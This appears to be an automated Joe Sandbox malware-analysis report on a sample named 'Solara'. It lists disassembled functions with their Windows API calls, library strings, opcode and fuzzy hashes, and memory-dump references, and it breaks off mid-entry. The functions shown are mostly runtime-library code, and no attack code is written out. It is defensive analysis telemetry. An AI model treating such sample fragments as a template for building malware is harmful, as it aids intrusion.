Opcode ID: d5ca90554715e9e1c45b21997ea87e9007dbf4e6b1b09f3f5bc2306a4e157aaf
Instruction ID: 9362ae76a54497c4611eecbf673d89a03653722d8a16f569252d03a8db352167
Opcode Fuzzy Hash: d5ca90554715e9e1c45b21997ea87e9007dbf4e6b1b09f3f5bc2306a4e157aaf
Instruction Fuzzy Hash: A2E06D723283006FFB0CBA65AC62BBA73DCCF04B61F10002EF91A8A5C2ED10BD544A55

Function 00226940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002269DC,00000000,?,0023D2B0,?,?,?,00226913,00000004,InitializeCriticalSectionEx,00230D34,00230D3C), ref: 0022694D
GetLastError.KERNEL32(?,002269DC,00000000,?,0023D2B0,?,?,?,00226913,00000004,InitializeCriticalSectionEx,00230D34,00230D3C,00000000,?,0021BBBC), ref: 00226957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0022697F

Strings

api-ms-, xrefs: 00226964

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 24e2e4963285345f79f92d8042a3cb211a45ab6ae7a13ef5c807a2719b9def51
Instruction ID: b981261da9a75d92c35e41ecf9f10890a947f056c6354fb8c5a4ca9436b23e6b
Opcode Fuzzy Hash: 24e2e4963285345f79f92d8042a3cb211a45ab6ae7a13ef5c807a2719b9def51
Instruction Fuzzy Hash: C9E01A713A0219BBEF211FA0FC4EB6C3A59AB50B91F548420F94CA84E1DF72ECA09944

Function 00223F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(75E5C5C8,00000000,00000000,?), ref: 00224001

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00224253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00224299
GetLastError.KERNEL32 ref: 0022433C

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: c34052555d5c8e8a72d4a3eaf0f7f51d44e96a4ec98f24f5543f74e95478ad54
Instruction ID: 19997a14538c4de0858a979c975deb6978a0a57f4ffe9972e2e2eb77d4d0fc40
Opcode Fuzzy Hash: c34052555d5c8e8a72d4a3eaf0f7f51d44e96a4ec98f24f5543f74e95478ad54
Instruction Fuzzy Hash: 07D19A75D10268AFCF05DFE8E880AEDBBB9FF08314F24416AE915EB251D630A961CF50

Function 0021B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0021B35C
___AdjustPointer.LIBCMT ref: 0021B37F
___AdjustPointer.LIBCMT ref: 0021B41B

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0be3f57c680632c5edc14712444515e916b21027613c2c3a20ef0f367895f05e
Instruction ID: 3b40f7e05db38dc84b1720b0900b7cb61605440474375b1ebe885c9ac190a288
Opcode Fuzzy Hash: 0be3f57c680632c5edc14712444515e916b21027613c2c3a20ef0f367895f05e
Instruction Fuzzy Hash: CC51D271A206069FEB2A9F60C995BEA73F4EF20710F14406DEC2686291D771ECF0CB90

Function 00207220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002072C5
std::_Throw_Cpp_error.LIBCPMT ref: 00207395
std::_Throw_Cpp_error.LIBCPMT ref: 002073A3
std::_Throw_Cpp_error.LIBCPMT ref: 002073B1

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 1e7986c926b914f8dba4bd5c86be6708f89d8f939a81e02059444ff17b03d047
Instruction ID: 6932ddfa13a3a226d77253f0ceb00fc9493603c2a466cdff85a35e247c48afba
Opcode Fuzzy Hash: 1e7986c926b914f8dba4bd5c86be6708f89d8f939a81e02059444ff17b03d047
Instruction Fuzzy Hash: E74104B0D143068BEB20DF24C84576EB7A9BF44320F144679D816476D3EB30F864CB91

Function 00204460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00204495
std::_Lockit::_Lockit.LIBCPMT ref: 002044B2
std::_Lockit::~_Lockit.LIBCPMT ref: 002044D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00204580

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: b12e884aedce72cadc0f115c47c34e39693b090d65ea80026f5c00164c567416
Instruction ID: a2f5edee1ee1da54a21e32d407a3106ca17c819127543ed595f7e7e3fb53fbae
Opcode Fuzzy Hash: b12e884aedce72cadc0f115c47c34e39693b090d65ea80026f5c00164c567416
Instruction Fuzzy Hash: 484179B1D103198FCB10EF98E848BAEBBB4FB58320F548229E91567392D734AD50CF91

Function 00221DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

GetLastError.KERNEL32 ref: 00221E2A
__dosmaperr.LIBCMT ref: 00221E31
GetLastError.KERNEL32 ref: 00221E6B
__dosmaperr.LIBCMT ref: 00221E72

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e026d7d069bf8f589e574662552f07818d7ce901069fd24adcd9d07a9d378ce4
Instruction ID: 95a721e49a107ad998b59e350c94c971096423cbd010f819ce805b82adf2c71c
Opcode Fuzzy Hash: e026d7d069bf8f589e574662552f07818d7ce901069fd24adcd9d07a9d378ce4
Instruction Fuzzy Hash: FF21D631624225BFCB20AFE5AC81C6BB7ACFF243647128519FC1593151D731EC708B90

Function 00212BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6479b1ad6688c9abb620004eedd8e4f460400eea377a9b78c54eafdbe8240ec2
Instruction ID: d07f5df7419872cec9888869e53dc6f99496184865304930b90054f9bcad9419
Opcode Fuzzy Hash: 6479b1ad6688c9abb620004eedd8e4f460400eea377a9b78c54eafdbe8240ec2
Instruction Fuzzy Hash: 7A219F71224216EF9B20AF658C809EAB7ECFF60364B11451AF95597250EB30EDF48BE0

Function 002231BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002231C6

Part of subcall function 0021C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0021D895,?,00000000,-00000008), ref: 0021C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002231FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0022321E

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: dfdbaf4f8a00d67a3bc6b292485f03c3b180af1a1d6b3076141d5255e9d18522
Instruction ID: c6daf4b9f0d2a74d85853bba612e0cae61bf6a74bf543653af9d0c204fb0404d
Opcode Fuzzy Hash: dfdbaf4f8a00d67a3bc6b292485f03c3b180af1a1d6b3076141d5255e9d18522
Instruction Fuzzy Hash: B51126B2520126BEA7126BF1BC8DCFF6AACDEA53947100615FE01D1100FFA8DF6045B0

Function 0020E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020E899
std::_Lockit::_Lockit.LIBCPMT ref: 0020E8A3
int.LIBCPMT ref: 0020E8BA

Part of subcall function 0020C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0020C1F6
Part of subcall function 0020C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0020C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0020E914

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 3dcdf75d09317b9833ea02a4d7b419de71f907d88b7bd455af52ebc67c31cfc3
Instruction ID: 96642c6086ccc9a271582aff61c7b8acda9975c21afb682084788aadcd5f61f1
Opcode Fuzzy Hash: 3dcdf75d09317b9833ea02a4d7b419de71f907d88b7bd455af52ebc67c31cfc3
Instruction Fuzzy Hash: 6511E1729243199BCF05EFA4D9456BDB775AF84720F260549E411AB2D3CF70AE60CF81

Function 0022ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000), ref: 0022ADB7
GetLastError.KERNEL32(?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?,?,?,00223CD6,00000000), ref: 0022ADC3

Part of subcall function 0022AE20: CloseHandle.KERNEL32(FFFFFFFE,0022ADD3,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?,?), ref: 0022AE30

___initconout.LIBCMT ref: 0022ADD3

Part of subcall function 0022ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0022AD91,0022A2DC,?,?,00224390,?,00000000,00000000,?), ref: 0022AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0022A2EF,00000000,00000001,00000000,?,?,00224390,?,00000000,00000000,?), ref: 0022ADE8

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 52c2eda6632a463cf493cbb4a12d9a8813ff67ddb8c5704cf0f8e79576f97095
Instruction ID: 1bf040765187c12de49108523e503f91953c96913b5ef05114f41fa94e4318fb
Opcode Fuzzy Hash: 52c2eda6632a463cf493cbb4a12d9a8813ff67ddb8c5704cf0f8e79576f97095
Instruction Fuzzy Hash: 20F0A536514129BBCF222FD5FC0C99A7F2AFF497A2B158011FE1996520DB728C70AB91

Function 002104F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00210507
GetCurrentThreadId.KERNEL32 ref: 00210516
GetCurrentProcessId.KERNEL32 ref: 0021051F
QueryPerformanceCounter.KERNEL32(?), ref: 0021052C

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0b6a34b65c2d5d75c98ef3466b77d2ddaf6f591ea9ba62189a6f9068e181be5c
Instruction ID: 705b04da74523c25aefb40997117b4e1cc6ef16524ec99257403520457a5d74c
Opcode Fuzzy Hash: 0b6a34b65c2d5d75c98ef3466b77d2ddaf6f591ea9ba62189a6f9068e181be5c
Instruction Fuzzy Hash: C8F06274D1020DEBCB00DFB4EA4D99EBBF8FF1C200B918996E412E7110EB30AB449B50

Function 0021B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0021B893,?,?,00000000,00000000,00000000,?), ref: 0021B9B7

Strings

MOC, xrefs: 0021B9C9
RCC, xrefs: 0021B9D1

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 656a45af67f29a5a9a9e50a0deb4ca4d95213c570cd54a675bc8cb65ef85c833
Instruction ID: 0fa30f31161f47f40f510c627690f1230dc360bdd2dec2c5ed28d76b3d1338f5
Opcode Fuzzy Hash: 656a45af67f29a5a9a9e50a0deb4ca4d95213c570cd54a675bc8cb65ef85c833
Instruction Fuzzy Hash: 0641587291020AAFCF16DF94CD81AEEBBF5BF58300F188199FA14A7211D33599A1DF91

Function 0021B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0021B475

Strings

csm, xrefs: 0021B508
csm, xrefs: 0021B497

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: e09243e6ae4c383fe7c87229b9dac2269f023e04d93da732cad78dec25c155db
Instruction ID: be8229ece32eb8eb03166fae194580bf0e8fc8b6924bbc3aee15c0993f5f4772
Opcode Fuzzy Hash: e09243e6ae4c383fe7c87229b9dac2269f023e04d93da732cad78dec25c155db
Instruction Fuzzy Hash: 6231C17642021AEBCF238F50C8449EA7BBBEB28314B58825AF84449122D332DDF1DBD1

Function 0020B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0020B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0020B8DE

Part of subcall function 0021060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0020F354,03294048,?,?,?,0020F354,00203D4A,0023759C,00203D4A), ref: 0021066D

Part of subcall function 00218353: IsProcessorFeaturePresent.KERNEL32(00000017,0021C224), ref: 0021836F

Strings

csm, xrefs: 0020B86D

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: b227504648cf42480669164af529f3f27c00eb95dc4c646c405c6da9ba0dff4b
Instruction ID: d23a64481f0f8dd333442f91b3118aa201e4550dbd1a39fd43d75c652f076da9
Opcode Fuzzy Hash: b227504648cf42480669164af529f3f27c00eb95dc4c646c405c6da9ba0dff4b
Instruction Fuzzy Hash: 2F219031D1031DEBCF36DF95D849AEEB7B8AF54710F184409E505AB1A2CB70AD65CB81

Function 0020B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00202673

Strings

bad array new length, xrefs: 00202626
ios_base::badbit set, xrefs: 00202650

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 039e89e7e4696f9a011fd7ec2f84907d9f7db77f3a15acda8e4200588bbb50d5
Instruction ID: aded9947e00df311e48c486714c02fcb1033ce9886c01ee909f178529cbbf44b
Opcode Fuzzy Hash: 039e89e7e4696f9a011fd7ec2f84907d9f7db77f3a15acda8e4200588bbb50d5
Instruction Fuzzy Hash: 3D01D4F1524305ABDB14DF28E856A5A7BE8AF18318F00881CF4599B351D376E968CB81

Function 00202610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0020F354,03294048,?,?,?,0020F354,00203D4A,0023759C,00203D4A), ref: 0021066D

___std_exception_copy.LIBVCRUNTIME ref: 00202673

Strings

bad array new length, xrefs: 00202626
ios_base::badbit set, xrefs: 00202650

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
